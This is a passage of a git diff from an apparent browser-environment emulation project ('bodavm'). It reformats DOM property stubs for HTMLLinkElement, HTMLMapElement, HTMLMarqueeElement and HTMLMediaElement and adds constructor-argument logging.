bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "sizes_get", arguments); + }, + set: function sizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "sizes_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "imageSrcset", { + configurable: true, + enumerable: true, + get: function imageSrcset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSrcset_get", arguments); + }, + set: function imageSrcset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSrcset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "imageSizes", { + configurable: true, + enumerable: true, + get: function imageSizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSizes_get", arguments); + }, + set: function imageSizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSizes_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "charset", { + configurable: true, + enumerable: true, + get: function charset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "charset_get", arguments); + }, + set: function charset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "charset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "rev", { + configurable: true, + enumerable: true, + get: function rev() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rev_get", arguments); + }, + set: function rev() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rev_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "target_get", arguments); + }, + set: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "target_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "sheet", { + configurable: true, + enumerable: true, + get: function sheet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "sheet_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "integrity", { + configurable: true, + enumerable: true, + get: function integrity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "integrity_get", arguments); + }, + set: function integrity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "integrity_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "fetchPriority", { + configurable: true, + enumerable: true, + get: function fetchPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "fetchPriority_get", arguments); + }, + set: function fetchPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "fetchPriority_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "blocking", { + configurable: true, + enumerable: true, + get: function blocking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "blocking_get", arguments); + }, + set: function blocking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "blocking_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLMapElement.js b/env_xbb_lastest_jsdom/env/HTMLMapElement.js index c886acac..85e740f8 100644 --- a/env_xbb_lastest_jsdom/env/HTMLMapElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLMapElement.js @@ -1,7 +1,37 @@ -// HTMLMapElement对象 -bodavm.memory.globalobj['HTMLMapElement'] = function HTMLMapElement(){if (!(this instanceof HTMLMapElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMapElement'], "HTMLMapElement"); -bodavm.memory.globalobj['HTMLMapElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLMapElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLMapElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMapElement'].prototype, "HTMLMapElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMapElement'].prototype, "HTMLMapElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMapElement', "areas", {configurable:true, enumerable:true, get:function areas (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMapElement'].prototype, "HTMLMapElement", "areas_get", arguments)}, set:undefined},'prototype'); +// HTMLMapElement对象 + +bodavm.memory.globalobj['HTMLMapElement'] = function HTMLMapElement() { + console.log_copy('HTMLMapElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLMapElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMapElement'], "HTMLMapElement"); +bodavm.memory.globalobj['HTMLMapElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLMapElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLMapElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMapElement'].prototype, "HTMLMapElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMapElement'].prototype, "HTMLMapElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMapElement', "areas", { + configurable: true, + enumerable: true, + get: function areas() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMapElement'].prototype, "HTMLMapElement", "areas_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLMarqueeElement.js b/env_xbb_lastest_jsdom/env/HTMLMarqueeElement.js index ccfbaf7c..5846c5d9 100644 --- a/env_xbb_lastest_jsdom/env/HTMLMarqueeElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLMarqueeElement.js @@ -1,18 +1,145 @@ -// HTMLMarqueeElement对象 -bodavm.memory.globalobj['HTMLMarqueeElement'] = function HTMLMarqueeElement(){if (!(this instanceof HTMLMarqueeElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMarqueeElement'], "HTMLMarqueeElement"); -bodavm.memory.globalobj['HTMLMarqueeElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLMarqueeElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "behavior", {configurable:true, enumerable:true, get:function behavior (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "behavior_get", arguments)}, set:function behavior (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "behavior_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "bgColor", {configurable:true, enumerable:true, get:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "bgColor_get", arguments)}, set:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "bgColor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "direction", {configurable:true, enumerable:true, get:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "direction_get", arguments)}, set:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "direction_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "hspace", {configurable:true, enumerable:true, get:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "hspace_get", arguments)}, set:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "hspace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "loop", {configurable:true, enumerable:true, get:function loop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "loop_get", arguments)}, set:function loop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "loop_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "scrollAmount", {configurable:true, enumerable:true, get:function scrollAmount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollAmount_get", arguments)}, set:function scrollAmount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollAmount_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "scrollDelay", {configurable:true, enumerable:true, get:function scrollDelay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollDelay_get", arguments)}, set:function scrollDelay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollDelay_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "trueSpeed", {configurable:true, enumerable:true, get:function trueSpeed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "trueSpeed_get", arguments)}, set:function trueSpeed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "trueSpeed_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "vspace", {configurable:true, enumerable:true, get:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "vspace_get", arguments)}, set:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "vspace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "start", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "stop", arguments)}},'prototype'); +// HTMLMarqueeElement对象 + +bodavm.memory.globalobj['HTMLMarqueeElement'] = function HTMLMarqueeElement() { + console.log_copy('HTMLMarqueeElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLMarqueeElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMarqueeElement'], "HTMLMarqueeElement"); +bodavm.memory.globalobj['HTMLMarqueeElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLMarqueeElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "behavior", { + configurable: true, + enumerable: true, + get: function behavior() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "behavior_get", arguments); + }, + set: function behavior() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "behavior_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "bgColor", { + configurable: true, + enumerable: true, + get: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "bgColor_get", arguments); + }, + set: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "bgColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "direction", { + configurable: true, + enumerable: true, + get: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "direction_get", arguments); + }, + set: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "direction_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "hspace", { + configurable: true, + enumerable: true, + get: function hspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "hspace_get", arguments); + }, + set: function hspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "hspace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "loop", { + configurable: true, + enumerable: true, + get: function loop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "loop_get", arguments); + }, + set: function loop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "loop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "scrollAmount", { + configurable: true, + enumerable: true, + get: function scrollAmount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollAmount_get", arguments); + }, + set: function scrollAmount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollAmount_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "scrollDelay", { + configurable: true, + enumerable: true, + get: function scrollDelay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollDelay_get", arguments); + }, + set: function scrollDelay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollDelay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "trueSpeed", { + configurable: true, + enumerable: true, + get: function trueSpeed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "trueSpeed_get", arguments); + }, + set: function trueSpeed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "trueSpeed_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "vspace", { + configurable: true, + enumerable: true, + get: function vspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "vspace_get", arguments); + }, + set: function vspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "vspace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "start", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "stop", { + configurable: true, + enumerable: true, + writable: true, + value: function stop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "stop", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLMediaElement.js b/env_xbb_lastest_jsdom/env/HTMLMediaElement.js index d67a11c6..0b421f2b 100644 --- a/env_xbb_lastest_jsdom/env/HTMLMediaElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLMediaElement.js @@ -1,66 +1,507 @@ -// HTMLMediaElement对象 -bodavm.memory.globalobj['HTMLMediaElement'] = function HTMLMediaElement(){if (!(this instanceof HTMLMediaElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMediaElement'], "HTMLMediaElement"); -bodavm.memory.globalobj['HTMLMediaElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLMediaElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_EMPTY", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_IDLE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_LOADING", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_NO_SOURCE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_NOTHING", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_METADATA", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_CURRENT_DATA", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_FUTURE_DATA", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_ENOUGH_DATA", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "error_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "currentSrc", {configurable:true, enumerable:true, get:function currentSrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "currentSrc_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "crossOrigin", {configurable:true, enumerable:true, get:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "crossOrigin_get", arguments)}, set:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "crossOrigin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "networkState", {configurable:true, enumerable:true, get:function networkState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "networkState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "preload", {configurable:true, enumerable:true, get:function preload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preload_get", arguments)}, set:function preload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "buffered", {configurable:true, enumerable:true, get:function buffered (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "buffered_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "seeking", {configurable:true, enumerable:true, get:function seeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "seeking_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "currentTime", {configurable:true, enumerable:true, get:function currentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "currentTime_get", arguments)}, set:function currentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "currentTime_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "duration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "paused", {configurable:true, enumerable:true, get:function paused (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "paused_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "defaultPlaybackRate", {configurable:true, enumerable:true, get:function defaultPlaybackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultPlaybackRate_get", arguments)}, set:function defaultPlaybackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultPlaybackRate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "playbackRate", {configurable:true, enumerable:true, get:function playbackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "playbackRate_get", arguments)}, set:function playbackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "playbackRate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "played", {configurable:true, enumerable:true, get:function played (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "played_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "seekable", {configurable:true, enumerable:true, get:function seekable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "seekable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "ended", {configurable:true, enumerable:true, get:function ended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "ended_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "autoplay", {configurable:true, enumerable:true, get:function autoplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "autoplay_get", arguments)}, set:function autoplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "autoplay_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "loop", {configurable:true, enumerable:true, get:function loop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "loop_get", arguments)}, set:function loop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "loop_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "preservesPitch", {configurable:true, enumerable:true, get:function preservesPitch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preservesPitch_get", arguments)}, set:function preservesPitch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preservesPitch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "controls", {configurable:true, enumerable:true, get:function controls (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controls_get", arguments)}, set:function controls (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controls_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "controlsList", 